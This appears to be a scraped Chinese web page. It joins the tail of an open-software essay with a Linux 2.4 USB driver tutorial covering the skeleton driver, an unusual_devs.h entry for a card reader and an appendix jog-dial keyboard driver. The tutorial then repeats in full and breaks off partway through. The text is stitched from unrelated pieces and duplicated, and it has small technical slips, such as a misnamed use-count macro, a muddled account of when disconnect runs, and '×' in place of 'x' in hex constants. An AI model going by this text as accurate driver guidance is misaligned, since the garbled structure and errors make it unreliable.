选择一个免费开放的系统就彻底的实现了“打倒土豪劣绅”,消租灭息。令我们的企业更加有竞争力,有利于就业环境的改良:那些扔到河里的租子就变成了能带来生产财富的有用之财,正好可以付给一些中小计算机企业,让他们来负责编制、调试和维修企业的各种所需软件。这样做,一定会造就出一大批有技术的劳动力,促进经济的发展。而不是象现在那样:一群拿着低下的薪水的推销商人,整日苦思冥想,试图着卖掉手里的、自己也无法控制的产品。利润却流入到别人的口袋里去了。

十四、结论

信息技术和计算机工业给我们日常生活方式带来了一次大革命。那么这场革命是把我们带入一个中世纪时期似的科学封建社会:少数几个黑暗的土地领主霸占文字的使用权利和各种信息交通渠道,每呼吸一下空气都得交钱纳税;还是把我们带入一个开放的,现代化的的社会,在这个社会里没有条条封锁线,人们可以自由的交流信息,共享知识财富,获得应得的益处。

2004年08月16日

前言

在上篇《Linux下的硬件驱动–USB设备(上)(驱动配制部分)》中,我们知道了在Linux下如何去使用一些最常见的USB设备。但对于做系统设计的程序员来说,这是远远不够的,我们还需要具有驱动程序的阅读、修改和开发能力。在此下篇中,就是要通过简单的USB驱动的例子,随您一起进入USB驱动开发的世界。

USB驱动开发

在掌握了USB设备的配置后,对于程序员,我们就可以尝试进行一些简单的USB驱动的修改和开发了。这一段落,我们会讲解一个最基础USB框架的基础上,做两个小的USB驱动的例子。

USB骨架

在Linux kernel源码目录中driver/usb/usb-skeleton.c为我们提供了一个最基础的USB驱动程序。我们称为USB骨架。通过它我们仅需要修改极少的部分,就可以完成一个USB设备的驱动。我们的USB驱动开发也是从她开始的。

那些linux下不支持的USB设备几乎都是生产厂商特定的产品。如果生产厂商在他们的产品中使用自己定义的协议,他们就需要为此设备创建特定的驱动程序。当然我们知道,有些生产厂商公开他们的USB协议,并帮助Linux驱动程序的开发,然而有些生产厂商却根本不公开他们的USB协议。因为每一个不同的协议都会产生一个新的驱动程序,所以就有了这个通用的USB驱动骨架程序, 它是以pci 骨架为模板的。

如果你准备写一个linux驱动程序,首先要熟悉USB协议规范。USB主页上有它的帮助。一些比较典型的驱动可以在上面发现,同时还介绍了USB urbs的概念,而这个是usb驱动程序中最基本的。

Linux USB 驱动程序需要做的第一件事情就是在Linux USB 子系统里注册,并提供一些相关信息,例如这个驱动程序支持那种设备,当被支持的设备从系统插入或拔出时,会有哪些动作。所有这些信息都传送到USB 子系统中,在usb骨架驱动程序中是这样来表示的:

 static struct usb_driver skel_driver = { name: "skeleton", probe: skel_probe, disconnect: skel_disconnect, fops: &skel_fops, minor: USB_SKEL_MINOR_BASE, id_table: skel_table, }; 

变量name是一个字符串,它对驱动程序进行描述。probe 和disconnect 是函数指针,当设备与在id_table 中变量信息匹配时,此函数被调用。

fops和minor变量是可选的。大多usb驱动程序钩住另外一个驱动系统,例如SCSI,网络或者tty子系统。这些驱动程序在其他驱动系统中注册,同时任何用户空间的交互操作通过那些接口提供,比如我们把SCSI设备驱动作为我们USB驱动所钩住的另外一个驱动系统,那么我们此USB设备的read、write等操作,就相应按SCSI设备的read、write函数进行访问。但是对于扫描仪等驱动程序来说,并没有一个匹配的驱动系统可以使用,那我们就要自己处理与用户空间的read、write等交互函数。Usb子系统提供一种方法去注册一个次设备号和file_operations函数指针,这样就可以与用户空间实现方便地交互。

USB骨架程序的关键几点如下:

  1. USB驱动的注册和注销

    Usb驱动程序在注册时会发送一个命令给usb_register,通常在驱动程序的初始化函数里。

    当要从系统卸载驱动程序时,需要注销usb子系统。即需要usb_unregister 函数处理:

     static void __exit usb_skel_exit(void) { /* deregister this driver with the USB subsystem */ usb_deregister(&skel_driver); } module_exit(usb_skel_exit); 

    当usb设备插入时,为了使linux-hotplug(Linux中PCI、USB等设备热插拔支持)系统自动装载驱动程序,你需要创建一个MODULE_DEVICE_TABLE。代码如下(这个模块仅支持某一特定设备):

     /* table of devices that work with this driver */ static struct usb_device_id skel_table [] = { { USB_DEVICE(USB_SKEL_VENDOR_ID, USB_SKEL_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, skel_table); 

    USB_DEVICE宏利用厂商ID和产品ID为我们提供了一个设备的唯一标识。当系统插入一个ID匹配的USB设备到USB总线时,驱动会在USB core中注册。驱动程序中probe 函数也就会被调用。usb_device 结构指针、接口号和接口ID都会被传递到函数中。

     static void * skel_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) 

    驱动程序需要确认插入的设备是否可以被接受,如果不接受,或者在初始化的过程中发生任何错误,probe函数返回一个NULL值。否则返回一个含有设备驱动程序状态的指针。通过这个指针,就可以访问所有结构中的回调函数。

    在骨架驱动程序里,最后一点是我们要注册devfs。我们创建一个缓冲用来保存那些被发送给usb设备的数据和那些从设备上接受的数据,同时USB urb 被初始化,并且我们在devfs子系统中注册设备,允许devfs用户访问我们的设备。注册过程如下:

     /* initialize the devfs node for this device and register it */ sprintf(name, "skel%d", skel->minor); skel->devfs = devfs_register (usb_devfs_handle, name, DEVFS_FL_DEFAULT, USB_MAJOR, USB_SKEL_MINOR_BASE + skel->minor, S_IFCHR | S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH, &skel_fops, NULL); 

    如果devfs_register函数失败,不用担心,devfs子系统会将此情况报告给用户。

    当然最后,如果设备从usb总线拔掉,设备指针会调用disconnect 函数。驱动程序就需要清除那些被分配了的所有私有数据、关闭urbs,并且从devfs上注销调自己。

     /* remove our devfs node */ devfs_unregister(skel->devfs); 

    现在,skeleton驱动就已经和设备绑定上了,任何用户态程序要操作此设备都可以通过file_operations结构所定义的函数进行了。首先,我们要open此设备。在open函数中MODULE_INC_USE_COUNT 宏是一个关键,它的作用是起到一个计数的作用,有一个用户态程序打开一个设备,计数器就加一,例如,我们以模块方式加入一个驱动,若计数器不为零,就说明仍然有用户程序在使用此驱动,这时候,你就不能通过rmmod命令卸载驱动模块了。

     /* increment our usage count for the module */ MOD_INC_USE_COUNT; ++skel->open_count; /* save our object in the file's private structure */ file->private_data = skel; 

    当open完设备后,read、write函数就可以收、发数据了。

  2. skel的write、和read函数

    他们是完成驱动对读写等操作的响应。

    在skel_write中,一个FILL_BULK_URB函数,就完成了urb 系统callbak和我们自己的skel_write_bulk_callback之间的联系。注意skel_write_bulk_callback是中断方式,所以要注意时间不能太久,本程序中它就只是报告一些urb的状态等。

    read 函数与write 函数稍有不同在于:程序并没有用urb 将数据从设备传送到驱动程序,而是我们用usb_bulk_msg 函数代替,这个函数能够不需要创建urbs 和操作urb函数的情况下,来发送数据给设备,或者从设备来接收数据。我们调用usb_bulk_msg函数并传提一个存储空间,用来缓冲和放置驱动收到的数据,若没有收到数据,就失败并返回一个错误信息。

  3. usb_bulk_msg函数

    当对usb设备进行一次读或者写时,usb_bulk_msg 函数是非常有用的; 然而, 当你需要连续地对设备进行读/写时,建议你建立一个自己的urbs,同时将urbs 提交给usb子系统。

  4. skel_disconnect函数

    当我们释放设备文件句柄时,这个函数会被调用。MOD_DEC_USE_COUNT宏会被用到(和MOD_INC_USE_COUNT刚好对应,它减少一个计数器),首先确认当前是否有其它的程序正在访问这个设备,如果是最后一个用户在使用,我们可以关闭任何正在发生的写,操作如下:

     /* decrement our usage count for the device */ --skel->open_count; if (skel->open_count <= 0) { /* shutdown any bulk writes that might be going on */ usb_unlink_urb (skel->write_urb); skel->open_count = 0; } /* decrement our usage count for the module */ MOD_DEC_USE_COUNT; 

    最困难的是,usb 设备可以在任何时间点从系统中取走,即使程序目前正在访问它。usb驱动程序必须要能够很好地处理解决此问题,它需要能够切断任何当前的读写,同时通知用户空间程序:usb设备已经被取走。

    如果程序有一个打开的设备句柄,在当前结构里,我们只要把它赋值为空,就像它已经消失了。对于每一次设备读写等其它函数操作,我们都要检查usb_device结构是否存在。如果不存在,就表明设备已经消失,并返回一个-ENODEV错误给用户程序。当最终我们调用release 函数时,在没有文件打开这个设备时,无论usb_device结构是否存在、它都会清空skel_disconnect函数所作工作。

    Usb 骨架驱动程序,提供足够的例子来帮助初始人员在最短的时间里开发一个驱动程序。更多信息你可以到linux usb开发新闻组去寻找。

U盘、USB读卡器、MP3、数码相机驱动

对于一款windows下用的很爽的U盘、USB读卡器、MP3或数码相机,可能Linux下却不能支持。怎么办?其实不用伤心,也许经过一点点的工作,你就可以很方便地使用它了。通常是此U盘、USB读卡器、MP3或数码相机在WindowsXP中不需要厂商专门的驱动就可以识别为移动存储设备,这样的设备才能保证成功,其他的就看你的运气了。

USB存储设备,他们的read、write等操作都是通过上章节中提到的钩子,把自己的操作钩到SCSI设备上去的。我们就不需要对其进行具体的数据读写处理了。

第一步:我们通过cat /proc/bus/usb/devices得到当前系统探测到的USB总线上的设备信息。它包括Vendor、ProdID、Product等。下面是我买的一款杂牌CF卡读卡器插入后的信息片断:

 T: Bus=01 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#= 5 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=8 #Cfgs= 1 P: Vendor=07c4 ProdID=a400 Rev= 1.13 S: Manufacturer=USB S: Product=Mass Storage C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=70mA I: If#= 0 Alt= 0 #EPs= 2 Cls=08(vend.) Sub=06 Prot=50 Driver=usb-storage E: Ad=81(I) Atr=02(Bulk) MxPS= 64 Ivl= 0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl= 0ms 

其中,我们最关心的是Vendor=07c4 ProdID=a400和Manufacturer=USB(果然是杂牌,厂商名都看不到)Product= Mass Storage。

对于这些移动存储设备,我们知道Linux下都是通过usb-storage.o驱动模拟成scsi设备去支持的,之所以不支持,通常是usb-storage驱动未包括此厂商识别和产品识别信息(在类似skel_probe的USB最初探测时被屏蔽了)。对于USB存储设备的硬件访问部分,通常是一致的。所以我们要支持它,仅需要修改usb-storage中关于厂商识别和产品识别列表部分。

第二部,打开drivers/usb/storage/unusual_devs.h文件,我们可以看到所有已知的产品登记表,都是以UNUSUAL_DEV(idVendor, idProduct, bcdDeviceMin, bcdDeviceMax, vendor_name, product_name, use_protocol, use_transport, init_function, Flags)方式登记的。其中相应的涵义,你就可以根据命名来判断了。所以只要我们如下填入我们自己的注册,就可以让usb-storage驱动去认识和发现它。

 UNUSUAL_DEV(07c4, a400, 0x0000, 0xffff, " USB ", " Mass Storage ", US_SC_SCSI, US_PR_BULK, NULL, US_FL_FIX_INQUIRY | US_FL_START_STOP |US_FL_MODE_XLATE ) 

注意:添加以上几句的位置,一定要正确。比较发现,usb-storage驱动对所有注册都是按idVendor, idProduct数值从小到大排列的。我们也要放在相应位置。

最后,填入以上信息,我们就可以重新编译生成内核或usb-storage.o模块。这时候插入我们的设备就可以跟其他U盘一样作为SCSI设备去访问了。

键盘飞梭支持

目前很多键盘都有飞梭和手写板,下面我们就尝试为一款键盘飞梭加入一个驱动。在通常情况,当我们插入USB接口键盘时,在/proc/bus/usb/devices会看到多个USB设备。比如:你的USB键盘上的飞梭会是一个,你的手写板会是一个,若是你的USB键盘有USB扩展连接埠,也会看到。

下面是具体看到的信息

 T: Bus=02 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 11/900 us ( 1%), #Int= 1, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=d800 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=02 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 3 Spd=12 MxCh= 3 D: Ver= 1.10 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=07e4 ProdID=9473 Rev= 0.02 S: Manufacturer=ALCOR S: Product=Movado USB Keyboard C:* #Ifs= 1 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 1 Ivl=255ms 

找到相应的信息后就可开始工作了。实际上,飞梭的定义和键盘键码通常是一样的,所以我们参照drivers/usb/usbkbd..c代码进行一些改动就可以了。因为没能拿到相应的硬件USB协议,我无从知道飞梭在按下时通讯协议众到底发什么,我只能把它的信息打出来进行分析。幸好,它比较简单,在下面代码的usb_kbd_irq函数中if(kbd->new[0] == (char)0×01)和if(((kbd->new[1]>>4)&0×0f)!=0×7)就是判断飞梭左旋。usb_kbd_irq函数就是键盘中断响应函数。他的挂接,就是在usb_kbd_probe函数中

 FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); 

一句中实现。

从usb骨架中我们知道,usb_kbd_probe函数就是在USB设备被系统发现是运行的。其他部分就都不是关键了。你可以根据具体的探测值(Vendor=07e4 ProdID=9473等)进行一些修改就可以了。值得一提的是,在键盘中断中,我们的做法是收到USB飞梭消息后,把它模拟成左方向键和右方向键,在这里,就看你想怎么去响应它了。当然你也可以响应模拟成F14、F15等扩展键码。

在了解了此基本的驱动后,对于一个你已经拿到通讯协议的键盘所带手写板,你就应该能进行相应驱动的开发了吧。

程序见附录1:键盘飞梭驱动。

使用此驱动要注意的问题:在加载此驱动时你必须先把hid设备卸载,加载完usbhkey.o模块后再加载hid.o。因为若hid存在,它的probe会屏蔽系统去利用我们的驱动发现我们的设备。其实,飞梭本来就是一个hid设备,正确的方法,或许你应该修改hid的probe函数,然后把我们的驱动融入其中。

参考资料

  1. 《LINUX设备驱动程序》
    ALESSANDRO RUBINI著
    LISOLEG 译
  2. 《Linux系统分析与高级编程技术》
    周巍松 编著
  3. Linux Kernel-2.4.20源码和文档说明

附录1:键盘飞梭驱动

 #include <linux/kernel.h> #include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> #include <linux/init.h> #include <linux/usb.h> #include <linux/kbd_ll.h> /* * Version Information */ #define DRIVER_VERSION "" #define DRIVER_AUTHOR "TGE HOTKEY " #define DRIVER_DESC "USB HID Tge hotkey driver" #define USB_HOTKEY_VENDOR_ID 0x07e4 #define USB_HOTKEY_PRODUCT_ID 0x9473 //厂商和产品ID信息就是/proc/bus/usb/devices中看到的值 MODULE_AUTHOR( DRIVER_AUTHOR ); MODULE_DESCRIPTION( DRIVER_DESC ); struct usb_kbd { struct input_dev dev; struct usb_device *usbdev; unsigned char new[8]; unsigned char old[8]; struct urb irq, led; // devrequest dr; //这一行和下一行的区别在于kernel2.4.20版本对usb_kbd键盘结构定义发生了变化 struct usb_ctrlrequest dr; unsigned char leds, newleds; char name[128]; int open; }; //此结构来自内核中drivers/usb/usbkbd..c static void usb_kbd_irq(struct urb *urb) { struct usb_kbd *kbd = urb->context; int *new; new = (int *) kbd->new; if(kbd->new[0] == (char)0x01) { if(((kbd->new[1]>>4)&0x0f)!=0x7) { handle_scancode(0xe0,1); handle_scancode(0x4b,1); handle_scancode(0xe0,0); handle_scancode(0x4b,0); } else { handle_scancode(0xe0,1); handle_scancode(0x4d,1); handle_scancode(0xe0,0); handle_scancode(0x4d,0); } } printk("new=%x %x %x %x %x %x %x %x", kbd->new[0],kbd->new[1],kbd->new[2],kbd->new[3], kbd->new[4],kbd->new[5],kbd->new[6],kbd->new[7]); } static void *usb_kbd_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) { struct usb_interface *iface; struct usb_interface_descriptor *interface; struct usb_endpoint_descriptor *endpoint; struct usb_kbd *kbd; int pipe, maxp; iface = &dev->actconfig->interface[ifnum]; interface = &iface->altsetting[iface->act_altsetting]; if ((dev->descriptor.idVendor != USB_HOTKEY_VENDOR_ID) || (dev->descriptor.idProduct != USB_HOTKEY_PRODUCT_ID) || (ifnum != 1)) { return NULL; } if (dev->actconfig->bNumInterfaces != 2) { return NULL; } if (interface->bNumEndpoints != 1) return NULL; endpoint = interface->endpoint + 0; pipe = usb_rcvintpipe(dev, endpoint->bEndpointAddress); maxp = usb_maxpacket(dev, pipe, usb_pipeout(pipe)); usb_set_protocol(dev, interface->bInterfaceNumber, 0); usb_set_idle(dev, interface->bInterfaceNumber, 0, 0); printk(KERN_INFO "GUO: Vid = %.4x, Pid = %.4x, Device = %.2x, ifnum = %.2x, bufCount = %.8x\\n", dev->descriptor.idVendor,dev->descriptor.idProduct,dev->descriptor.bcdDevice, ifnum, maxp); if (!(kbd = kmalloc(sizeof(struct usb_kbd), GFP_KERNEL))) return NULL; memset(kbd, 0, sizeof(struct usb_kbd)); kbd->usbdev = dev; FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); kbd->irq.dev = kbd->usbdev; if (dev->descriptor.iManufacturer) usb_string(dev, dev->descriptor.iManufacturer, kbd->name, 63); if (usb_submit_urb(&kbd->irq)) { kfree(kbd); return NULL; } printk(KERN_INFO "input%d: %s on usb%d:%d.%d\\n", kbd->dev.number, kbd->name, dev->bus->busnum, dev->devnum, ifnum); return kbd; } static void usb_kbd_disconnect(struct usb_device *dev, void *ptr) { struct usb_kbd *kbd = ptr; usb_unlink_urb(&kbd->irq); kfree(kbd); } static struct usb_device_id usb_kbd_id_table [] = { { USB_DEVICE(USB_HOTKEY_VENDOR_ID, USB_HOTKEY_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, usb_kbd_id_table); static struct usb_driver usb_kbd_driver = { name: "Hotkey", probe: usb_kbd_probe, disconnect: usb_kbd_disconnect, id_table: usb_kbd_id_table, NULL, }; static int __init usb_kbd_init(void) { usb_register(&usb_kbd_driver); info(DRIVER_VERSION ":" DRIVER_DESC); return 0; } static void __exit usb_kbd_exit(void) { usb_deregister(&usb_kbd_driver); } module_init(usb_kbd_init); module_exit(usb_kbd_exit); 

前言

在上篇《Linux下的硬件驱动–USB设备(上)(驱动配制部分)》中,我们知道了在Linux下如何去使用一些最常见的USB设备。但对于做系统设计的程序员来说,这是远远不够的,我们还需要具有驱动程序的阅读、修改和开发能力。在此下篇中,就是要通过简单的USB驱动的例子,随您一起进入USB驱动开发的世界。

USB驱动开发

在掌握了USB设备的配置后,对于程序员,我们就可以尝试进行一些简单的USB驱动的修改和开发了。这一段落,我们会讲解一个最基础USB框架的基础上,做两个小的USB驱动的例子。

USB骨架

在Linux kernel源码目录中driver/usb/usb-skeleton.c为我们提供了一个最基础的USB驱动程序。我们称为USB骨架。通过它我们仅需要修改极少的部分,就可以完成一个USB设备的驱动。我们的USB驱动开发也是从她开始的。

那些linux下不支持的USB设备几乎都是生产厂商特定的产品。如果生产厂商在他们的产品中使用自己定义的协议,他们就需要为此设备创建特定的驱动程序。当然我们知道,有些生产厂商公开他们的USB协议,并帮助Linux驱动程序的开发,然而有些生产厂商却根本不公开他们的USB协议。因为每一个不同的协议都会产生一个新的驱动程序,所以就有了这个通用的USB驱动骨架程序, 它是以pci 骨架为模板的。

如果你准备写一个linux驱动程序,首先要熟悉USB协议规范。USB主页上有它的帮助。一些比较典型的驱动可以在上面发现,同时还介绍了USB urbs的概念,而这个是usb驱动程序中最基本的。

Linux USB 驱动程序需要做的第一件事情就是在Linux USB 子系统里注册,并提供一些相关信息,例如这个驱动程序支持那种设备,当被支持的设备从系统插入或拔出时,会有哪些动作。所有这些信息都传送到USB 子系统中,在usb骨架驱动程序中是这样来表示的:

 static struct usb_driver skel_driver = { name: "skeleton", probe: skel_probe, disconnect: skel_disconnect, fops: &skel_fops, minor: USB_SKEL_MINOR_BASE, id_table: skel_table, }; 

变量name是一个字符串,它对驱动程序进行描述。probe 和disconnect 是函数指针,当设备与在id_table 中变量信息匹配时,此函数被调用。

fops和minor变量是可选的。大多usb驱动程序钩住另外一个驱动系统,例如SCSI,网络或者tty子系统。这些驱动程序在其他驱动系统中注册,同时任何用户空间的交互操作通过那些接口提供,比如我们把SCSI设备驱动作为我们USB驱动所钩住的另外一个驱动系统,那么我们此USB设备的read、write等操作,就相应按SCSI设备的read、write函数进行访问。但是对于扫描仪等驱动程序来说,并没有一个匹配的驱动系统可以使用,那我们就要自己处理与用户空间的read、write等交互函数。Usb子系统提供一种方法去注册一个次设备号和file_operations函数指针,这样就可以与用户空间实现方便地交互。

USB骨架程序的关键几点如下:

  1. USB驱动的注册和注销

    Usb驱动程序在注册时会发送一个命令给usb_register,通常在驱动程序的初始化函数里。

    当要从系统卸载驱动程序时,需要注销usb子系统。即需要usb_unregister 函数处理:

     static void __exit usb_skel_exit(void) { /* deregister this driver with the USB subsystem */ usb_deregister(&skel_driver); } module_exit(usb_skel_exit); 

    当usb设备插入时,为了使linux-hotplug(Linux中PCI、USB等设备热插拔支持)系统自动装载驱动程序,你需要创建一个MODULE_DEVICE_TABLE。代码如下(这个模块仅支持某一特定设备):

     /* table of devices that work with this driver */ static struct usb_device_id skel_table [] = { { USB_DEVICE(USB_SKEL_VENDOR_ID, USB_SKEL_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, skel_table); 

    USB_DEVICE宏利用厂商ID和产品ID为我们提供了一个设备的唯一标识。当系统插入一个ID匹配的USB设备到USB总线时,驱动会在USB core中注册。驱动程序中probe 函数也就会被调用。usb_device 结构指针、接口号和接口ID都会被传递到函数中。

     static void * skel_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) 

    驱动程序需要确认插入的设备是否可以被接受,如果不接受,或者在初始化的过程中发生任何错误,probe函数返回一个NULL值。否则返回一个含有设备驱动程序状态的指针。通过这个指针,就可以访问所有结构中的回调函数。

    在骨架驱动程序里,最后一点是我们要注册devfs。我们创建一个缓冲用来保存那些被发送给usb设备的数据和那些从设备上接受的数据,同时USB urb 被初始化,并且我们在devfs子系统中注册设备,允许devfs用户访问我们的设备。注册过程如下:

     /* initialize the devfs node for this device and register it */ sprintf(name, "skel%d", skel->minor); skel->devfs = devfs_register (usb_devfs_handle, name, DEVFS_FL_DEFAULT, USB_MAJOR, USB_SKEL_MINOR_BASE + skel->minor, S_IFCHR | S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH, &skel_fops, NULL); 

    如果devfs_register函数失败,不用担心,devfs子系统会将此情况报告给用户。

    当然最后,如果设备从usb总线拔掉,设备指针会调用disconnect 函数。驱动程序就需要清除那些被分配了的所有私有数据、关闭urbs,并且从devfs上注销调自己。

     /* remove our devfs node */ devfs_unregister(skel->devfs); 

    现在,skeleton驱动就已经和设备绑定上了,任何用户态程序要操作此设备都可以通过file_operations结构所定义的函数进行了。首先,我们要open此设备。在open函数中MODULE_INC_USE_COUNT 宏是一个关键,它的作用是起到一个计数的作用,有一个用户态程序打开一个设备,计数器就加一,例如,我们以模块方式加入一个驱动,若计数器不为零,就说明仍然有用户程序在使用此驱动,这时候,你就不能通过rmmod命令卸载驱动模块了。

     /* increment our usage count for the module */ MOD_INC_USE_COUNT; ++skel->open_count; /* save our object in the file's private structure */ file->private_data = skel; 

    当open完设备后,read、write函数就可以收、发数据了。

  2. skel的write、和read函数

    他们是完成驱动对读写等操作的响应。

    在skel_write中,一个FILL_BULK_URB函数,就完成了urb 系统callbak和我们自己的skel_write_bulk_callback之间的联系。注意skel_write_bulk_callback是中断方式,所以要注意时间不能太久,本程序中它就只是报告一些urb的状态等。

    read 函数与write 函数稍有不同在于:程序并没有用urb 将数据从设备传送到驱动程序,而是我们用usb_bulk_msg 函数代替,这个函数能够不需要创建urbs 和操作urb函数的情况下,来发送数据给设备,或者从设备来接收数据。我们调用usb_bulk_msg函数并传提一个存储空间,用来缓冲和放置驱动收到的数据,若没有收到数据,就失败并返回一个错误信息。

  3. usb_bulk_msg函数

    当对usb设备进行一次读或者写时,usb_bulk_msg 函数是非常有用的; 然而, 当你需要连续地对设备进行读/写时,建议你建立一个自己的urbs,同时将urbs 提交给usb子系统。

  4. skel_disconnect函数

    当我们释放设备文件句柄时,这个函数会被调用。MOD_DEC_USE_COUNT宏会被用到(和MOD_INC_USE_COUNT刚好对应,它减少一个计数器),首先确认当前是否有其它的程序正在访问这个设备,如果是最后一个用户在使用,我们可以关闭任何正在发生的写,操作如下:

     /* decrement our usage count for the device */ --skel->open_count; if (skel->open_count <= 0) { /* shutdown any bulk writes that might be going on */ usb_unlink_urb (skel->write_urb); skel->open_count = 0; } /* decrement our usage count for the module */ MOD_DEC_USE_COUNT; 

    最困难的是,usb 设备可以在任何时间点从系统中取走,即使程序目前正在访问它。usb驱动程序必须要能够很好地处理解决此问题,它需要能够切断任何当前的读写,同时通知用户空间程序:usb设备已经被取走。

    如果程序有一个打开的设备句柄,在当前结构里,我们只要把它赋值为空,就像它已经消失了。对于每一次设备读写等其它函数操作,我们都要检查usb_device结构是否存在。如果不存在,就表明设备已经消失,并返回一个-ENODEV错误给用户程序。当最终我们调用release 函数时,在没有文件打开这个设备时,无论usb_device结构是否存在、它都会清空skel_disconnect函数所作工作。

    Usb 骨架驱动程序,提供足够的例子来帮助初始人员在最短的时间里开发一个驱动程序。更多信息你可以到linux usb开发新闻组去寻找。

U盘、USB读卡器、MP3、数码相机驱动

对于一款windows下用的很爽的U盘、USB读卡器、MP3或数码相机,可能Linux下却不能支持。怎么办?其实不用伤心,也许经过一点点的工作,你就可以很方便地使用它了。通常是此U盘、USB读卡器、MP3或数码相机在WindowsXP中不需要厂商专门的驱动就可以识别为移动存储设备,这样的设备才能保证成功,其他的就看你的运气了。

USB存储设备,他们的read、write等操作都是通过上章节中提到的钩子,把自己的操作钩到SCSI设备上去的。我们就不需要对其进行具体的数据读写处理了。

第一步:我们通过cat /proc/bus/usb/devices得到当前系统探测到的USB总线上的设备信息。它包括Vendor、ProdID、Product等。下面是我买的一款杂牌CF卡读卡器插入后的信息片断:

 T: Bus=01 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#= 5 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=8 #Cfgs= 1 P: Vendor=07c4 ProdID=a400 Rev= 1.13 S: Manufacturer=USB S: Product=Mass Storage C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=70mA I: If#= 0 Alt= 0 #EPs= 2 Cls=08(vend.) Sub=06 Prot=50 Driver=usb-storage E: Ad=81(I) Atr=02(Bulk) MxPS= 64 Ivl= 0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl= 0ms 

其中,我们最关心的是Vendor=07c4 ProdID=a400和Manufacturer=USB(果然是杂牌,厂商名都看不到)Product= Mass Storage。

对于这些移动存储设备,我们知道Linux下都是通过usb-storage.o驱动模拟成scsi设备去支持的,之所以不支持,通常是usb-storage驱动未包括此厂商识别和产品识别信息(在类似skel_probe的USB最初探测时被屏蔽了)。对于USB存储设备的硬件访问部分,通常是一致的。所以我们要支持它,仅需要修改usb-storage中关于厂商识别和产品识别列表部分。

第二部,打开drivers/usb/storage/unusual_devs.h文件,我们可以看到所有已知的产品登记表,都是以UNUSUAL_DEV(idVendor, idProduct, bcdDeviceMin, bcdDeviceMax, vendor_name, product_name, use_protocol, use_transport, init_function, Flags)方式登记的。其中相应的涵义,你就可以根据命名来判断了。所以只要我们如下填入我们自己的注册,就可以让usb-storage驱动去认识和发现它。

 UNUSUAL_DEV(07c4, a400, 0x0000, 0xffff, " USB ", " Mass Storage ", US_SC_SCSI, US_PR_BULK, NULL, US_FL_FIX_INQUIRY | US_FL_START_STOP |US_FL_MODE_XLATE ) 

注意:添加以上几句的位置,一定要正确。比较发现,usb-storage驱动对所有注册都是按idVendor, idProduct数值从小到大排列的。我们也要放在相应位置。

最后,填入以上信息,我们就可以重新编译生成内核或usb-storage.o模块。这时候插入我们的设备就可以跟其他U盘一样作为SCSI设备去访问了。

键盘飞梭支持

目前很多键盘都有飞梭和手写板,下面我们就尝试为一款键盘飞梭加入一个驱动。在通常情况,当我们插入USB接口键盘时,在/proc/bus/usb/devices会看到多个USB设备。比如:你的USB键盘上的飞梭会是一个,你的手写板会是一个,若是你的USB键盘有USB扩展连接埠,也会看到。

下面是具体看到的信息

 T: Bus=02 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 11/900 us ( 1%), #Int= 1, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=d800 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=02 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 3 Spd=12 MxCh= 3 D: Ver= 1.10 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=07e4 ProdID=9473 Rev= 0.02 S: Manufacturer=ALCOR S: Product=Movado USB Keyboard C:* #Ifs= 1 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 1 Ivl=255ms 

